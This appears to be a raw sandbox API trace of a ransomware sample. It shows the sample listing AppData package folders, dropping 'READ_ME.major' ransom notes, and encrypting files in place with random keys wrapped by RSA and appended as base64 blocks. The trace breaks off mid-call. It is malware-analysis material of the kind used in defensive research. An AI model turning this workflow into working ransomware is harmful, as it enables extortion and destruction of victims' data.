lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c043a5a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c043a5a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c069cb1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f892f0 [0194.854] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x30cf4720, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2c14ea17, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8bc48 [0194.854] FindNextFileW (in: hFindFile=0x2f8bc48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x30cf4720, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2c14ea17, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.854] FindNextFileW (in: hFindFile=0x2f8bc48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b63dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50a206ba, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0194.854] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8c [0194.855] WriteFile (in: hFile=0xb8c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.856] CloseHandle (hObject=0xb8c) returned 1 [0194.856] FindNextFileW (in: hFindFile=0x2f8bc48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b6882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50a206ba, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0194.856] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8c [0194.857] WriteFile (in: hFile=0xb8c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.858] CloseHandle (hObject=0xb8c) returned 1 [0194.858] FindNextFileW (in: hFindFile=0x2f8bc48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b6e8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50a206ba, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0194.858] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.3dbuilder_8wekyb3d8bbwe\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8c [0194.858] WriteFile (in: hFile=0xb8c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.859] CloseHandle (hObject=0xb8c) returned 1 [0194.859] FindNextFileW (in: hFindFile=0x2f8bc48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2c14ea17, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2c14ea17, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2c14ea17, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.859] FindNextFileW (in: hFindFile=0x2f8bc48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b77a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50a206ba, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0194.859] FindNextFileW (in: hFindFile=0x2f8bc48, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50a206ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b77a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50a206ba, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0194.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2f85cc0 [0194.859] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x509d4298, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc99b7ef4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2c14ea17, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f8bac8 [0194.860] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.860] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0194.871] ReadFile (in: hFile=0xba0, lpBuffer=0x59d250, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.871] SetFilePointer (in: hFile=0xba0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.871] WriteFile (in: hFile=0xba0, lpBuffer=0x59d290*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d290*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.871] SetFilePointer (in: hFile=0xba0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.871] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.871] WriteFile (in: hFile=0xba0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.872] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.872] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.872] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.872] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="D9xlEzOB/grOeVYJO9PLx3gqwVm+cj85es7XLWPyxWAKJ9Wj/nilelH/EQ+NQeaX\n784OZbv6vWOGAo8hk7aADEcQxyn6pLE1sj5xhkuVX/1fuP7W6tmJfMzQZ18ysP+v\nYoKXRXkJdf6jfYe8hD1fmf3Co+MrtWLWwdsm3tEzrlO0SVx8JU4h7GWbr3CDhsO3\nqVmTUEbmDuPkxAGEbIzSyrINWmG90o8A6ptNY9PFHJgXQ4VEo74BHHPMckE8QJ1/\nBImdCpRbkUnEE+eS1RjTmc6c1BSyyzj4S0b2ZjRej1LoDYv9QnEBXnuVvMvPG7WJ\ntq8sFX7oRtEhxClTjFTUaA==\n", pcchString=0x2e3f9a8) returned 1 [0194.872] WriteFile (in: hFile=0xba0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.873] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.873] WriteFile (in: hFile=0xba0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.873] CloseHandle (hObject=0xba0) returned 1 [0194.877] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.877] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0194.904] ReadFile (in: hFile=0xba0, lpBuffer=0x2f918d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.920] SetFilePointer (in: hFile=0xba0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.920] WriteFile (in: hFile=0xba0, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.921] SetFilePointer (in: hFile=0xba0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.921] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.921] WriteFile (in: hFile=0xba0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.921] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.921] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.922] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.922] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kUyJS0nkPuXkMdyLdRLfhcG8NKhbsMTK0bf8D9MmLdT6jjZSQ1FtgfqNv0lsQcX1\n8BHN1e3hllwXcvCc8hXCKJdDnPIuCJA9rbEKQNpe5jgCYWZi2mYyRrPjWXN2+6vp\ngl7v0UsqxufgslDD2Ym4DZIopVJQr4KK+hmZFmERtOP5uiLWWn9ZpCqzawm0scv9\nIv8zHlJItUovqAXSM87IA42CaOlzpyDZiaGdhWJo8z2pwarWj9Sg0Ifsr68l6wqR\nE2SVKdgOuMz3yfcx+PeCoS59Qdn6G/06NO9lr8lQRaJ5apbcbgNuWtkrbGeeLgji\nr2CZwuvWIU7ipMmLCTmGCw==\n", pcchString=0x2e3f9a8) returned 1 [0194.922] WriteFile (in: hFile=0xba0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.922] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.922] WriteFile (in: hFile=0xba0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.922] CloseHandle (hObject=0xba0) returned 1 [0194.924] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.924] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0194.925] ReadFile (in: hFile=0xba0, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.964] SetFilePointer (in: hFile=0xba0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.964] WriteFile (in: hFile=0xba0, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.965] SetFilePointer (in: hFile=0xba0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.965] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.965] WriteFile (in: hFile=0xba0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.966] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.966] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.966] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.966] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Fr6hggjMVqNIVPMT1+Q+JrpWBHH/Mv74+WFNnjXmlnAZmRSPg1TxBefPsniAEj/k\nfIfEsYkJ7Y5Od+E8VrEbxhmsTMkVtkyPr0bPm6Frhll13LFVpE8cmHKNDqMcdgu+\nHrwLENQ2ucS046O+Uvx32RxSGa9muzkBxehsvNNTXE4oFZiOI04lVARY9v2qzltI\nFjWrvvRmWIOWlVEe3hmrHjugn7Yshw40lfttSW+v5KYhlRDavzh27y869HD19NLW\nEvJ1RA0VUZzS/7aCz0f360Mjw8fBK9Cg3wErTuiN/bhJ1oN6QPxBbNabops8YlCx\neZ8sVFssPRZvY+9qAsUNiQ==\n", pcchString=0x2e3f9a8) returned 1 [0194.966] WriteFile (in: hFile=0xba0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.967] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.967] WriteFile (in: hFile=0xba0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.967] CloseHandle (hObject=0xba0) returned 1 [0194.968] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.968] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.3DBuilder_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.969] ReadFile (in: hFile=0xba0, lpBuffer=0x59d340, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.969] SetFilePointer (in: hFile=0xba0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.970] WriteFile (in: hFile=0xba0, lpBuffer=0x59d2f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.970] SetFilePointer (in: hFile=0xba0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.970] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.970] WriteFile (in: hFile=0xba0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.971] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.971] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.971] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.971] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="BdLSQiF3wSrxmjTxigd4AONX7sMuaKTBC4cLNuv2dhXathOizDXq7PLbsiV4zoq2\nmKveKBm3gLt8x0GToIvNW+cHcZF8Wv1ie7NaJFkxonOj/pQss+b7P6zDO/cGZr4Z\nki2MCiBCSDPiqqGn78s0nKMBDOtjaQhqKvK7Xgnfzn7xH5EQ6kK+6LYTdX0BxoeE\n6KsAATS0Z7IhcjrCF1dtEU9/6tt83DXTFgUJX9A//39KO7Z1mSxbtcfB5yvnoFBx\nTJzgtjwUrTG/jEkqUah3AozzjbNTg5LC4nlbJuEfYCIlaea8UFOK11TEtX/615ZK\n6oB7TK651hgE0R3Lq+VfoA==\n", pcchString=0x2e3f9a8) returned 1 [0194.972] WriteFile (in: hFile=0xba0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.972] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.972] WriteFile (in: hFile=0xba0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.972] CloseHandle (hObject=0xba0) returned 1 [0194.975] WriteFile (in: hFile=0xbac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.977] CloseHandle (hObject=0xbac) returned 1 [0194.978] WriteFile (in: hFile=0xbac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.979] CloseHandle (hObject=0xbac) returned 1 [0194.981] WriteFile (in: hFile=0xbac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0194.982] CloseHandle (hObject=0xbac) returned 1 [0194.983] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.983] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0194.984] ReadFile (in: hFile=0xbc0, lpBuffer=0x59d370, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d370*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.984] SetFilePointer (in: hFile=0xbc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.984] WriteFile (in: hFile=0xbc0, lpBuffer=0x59d1c0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.984] SetFilePointer (in: hFile=0xbc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.984] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.984] WriteFile (in: hFile=0xbc0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.985] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.985] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.986] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, 